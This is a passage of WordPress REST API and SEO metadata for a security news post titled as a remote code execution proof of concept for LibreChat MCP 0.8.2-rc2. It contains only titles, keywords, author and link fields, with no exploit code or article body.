redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-29T10:37:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38145\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38145#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=38145","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-29T16:29:53&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a remote code execution vulnerability in LibreChat MCP version 0.8.2-rc2 that leverages an unsanitized stdio server configuration issue&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-29T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LibreChat MCP...","og_url":"https:\/\/zero.redgem.net\/?p=38145","og_site_name":"zero redgem","article_published_time":"2026-01-29T10:37:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=38145#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=38145"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576","datePublished":"2026-01-29T10:37:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=38145"},"wordCount":2682,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=38145#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=38145","url":"https:\/\/zero.redgem.net\/?p=38145","name":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-29T10:37:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=38145#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=38145"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=38145#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214576"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=38145"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38145\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=38145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=38145"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=38145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}